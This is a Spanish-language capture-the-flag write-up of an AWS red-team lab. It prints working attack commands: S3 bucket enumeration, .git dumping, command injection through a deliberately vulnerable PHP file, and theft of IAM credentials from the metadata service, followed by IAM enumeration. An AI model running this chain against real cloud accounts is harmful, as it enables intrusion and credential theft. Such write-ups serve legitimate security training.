AWS Cloud Red Teaming Writeup
Módulo 1 — AWS Cloud Red Teaming Writeup
Laboratorio: CWL Meta Tech — Multi-Cloud Red Team Assessment Plataforma: CyberWarFare Labs Objetivo: Identificar y explotar misconfiguraciones en la infraestructura AWS de CWL Meta Tech Corporation.
Flag 1 — Full URL del S3 Bucket
OSINT — Enumeración de Buckets
Usamos cloud_enum para brute-force de naming permutations de S3 usando la keyword cwl-metatech:
git clone https://github.com/initstring/cloud_enum.git
pip3 install -r cloud_enum/requirements.txt
python3 cloud_enum/cloud_enum.py -k cwl-metatech --disable-azure --disable-gcp
Resultado:
OPEN S3 BUCKET: http://cwl-metatech-prod.s3.amazonaws.com/
FILES:
-> http://cwl-metatech-prod.s3.amazonaws.com/dev-server-ip.txt
-> http://cwl-metatech-prod.s3.amazonaws.com/prod-data.txt
-> http://cwl-metatech-prod.s3.amazonaws.com/staging-data.txt
Flag 1: http://cwl-metatech-prod.s3.amazonaws.com/
Flag 10 — Credit Card Number de Bob
Leemos el contenido del bucket abierto:
aws s3 cp s3://cwl-metatech-prod/prod-data.txt - --no-sign-request
User Company Credit Card Number Expiry Date
Alex Amex 374245455400126 05/2026
Bob Cabal1 6271701225979642 03/2026
Lisa Cencosud1 6034932528973614 06/2026
David China Union 6250941006528599 06/2026
Flag 10: 6271701225979642
Flag 2 — Parámetro SSRF vulnerable
Obtenemos la IP del dev-server:
aws s3 cp s3://cwl-metatech-prod/dev-server-ip.txt - --no-sign-request
18.222.161.152
Dump del .git expuesto en el servidor web:
pip3 install git-dumper
git-dumper http://18.222.161.152/.git /tmp/gitdump
Analizamos process.php:
<?php
// SSRF Vulnerability
$ip = $_POST['ip'];
$content = file_get_contents($ip);
// RCE Vulnerability
$org = $_POST['organization'];
$org_output = system($org);
echo $org_output, $content;
?>
El parámetro ip se pasa directamente a file_get_contents() sin validación — SSRF clásico.
Flag 2: ip
Flag 3 — Role IAM del EC2
Usamos la RCE en process.php para consultar el Instance Metadata Service (IMDSv1):
curl -s -X POST "http://18.222.161.152/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/'
Respuesta:
ec2-role
Flag 3: ec2-role
Obtención de credenciales temporales
curl -s -X POST "http://18.222.161.152/process.php" \
-d "url=x&date=2024-01-01&ip=x" \
--data-urlencode 'organization=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role'
{
"Code" : "Success",
"AccessKeyId" : "ASIATQGVY3V5ZIVFIUEQ",
"SecretAccessKey" : "VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0",
"Token" : "IQoJb3JpZ2lu...",
"Expiration" : "2026-07-28T01:34:03Z"
}
Exportamos y verificamos:
aws sts get-caller-identity
Account: 240966491515
Arn: arn:aws:sts::240966491515:assumed-role/ec2-role/i-0c95b6744d7501b40
Flag 4 — Usuario en el grupo "interns"
aws iam get-group --group-name interns
{
"Users": [{"UserName": "int001"}],
"Group": {"GroupName": "interns"}
}
Flag 4: int001
Flag 5 — Grupo de "emp003"
aws iam list-groups-for-user --user-name emp003
{
"Groups": [{"GroupName": "employees"}]
}
Flag 5: employees
Flag 6 — Account ID del "crossaccount-role"
aws iam get-role --role-name crossaccount-role
{
"AssumeRolePolicyDocument": {
"Statement": [{
"Principal": {
"AWS": "arn:aws:iam::058264439561:user/manager"
},
"Action": "sts:AssumeRole"
}]
}
}
El Principal arn:aws:iam::058264439561:user/manager revela que el usuario manager de la cuenta 058264439561 puede asumir este rol.
Flag 6: 058264439561
Flag 7 — Role asumible por "devops-role"
aws iam get-role --role-name dev-role
{
"AssumeRolePolicyDocument": {
"Statement": [{
"Principal": {
"AWS": "arn:aws:iam::240966491515:role/devops-role"
},
"Action": "sts:AssumeRole"
}]
}
}
La trust policy permite a devops-role asumir dev-role.
Flag 7: dev-role
Flag 8 — Inline Policy de "emp001"
aws iam list-user-policies --user-name emp001
{
"PolicyNames": ["s3-administrator-Policy"]
}
Flag 8: s3-administrator-Policy
Flag 9 — ARN de Policy del grupo "employees"
aws iam list-attached-group-policies --group-name employees
{
"AttachedPolicies": [{
"PolicyName": "AmazonDevOpsGuruFullAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess"
}]
}
Flag 9: arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess
Resumen de Flags
| # | Pregunta | Respuesta |
|---|---|---|
| 1 | Full URL del S3 bucket | http://cwl-metatech-prod.s3.amazonaws.com/ |
| 2 | Parámetro SSRF | ip |
| 3 | Role IAM del EC2 | ec2-role |
| 4 | Usuario en "interns" | int001 |
| 5 | Grupo de "emp003" | employees |
| 6 | Account ID (crossaccount-role) | 058264439561 |
| 7 | Role asumible por devops-role | dev-role |
| 8 | Inline policy de emp001 | s3-administrator-Policy |
| 9 | ARN policy de employees | arn:aws:iam::aws:policy/AmazonDevOpsGuruFullAccess |
| 10 | CC de Bob | 6271701225979642 |
Lecciones Aprendidas
- S3 buckets públicos:
cloud_enumes efectivo para descubrir buckets abiertos mediante fuerza bruta de nombres. - .git expuesto: El repositorio
.giten el servidor web permitió leer el código fuente completo (git-dumper). - SSRF + RCE:
process.phpcombinaba un SSRF (parámetroip) con RCE (parámetroorganization) sin restricciones. - IMDSv1: AWS Metadata Service versión 1 no requiere headers adicionales, lo que facilitó la extracción de credenciales.
- IAM Post-Explotación: Con las credenciales temporales del role
ec2-rolese pudo enumerar toda la configuración IAM.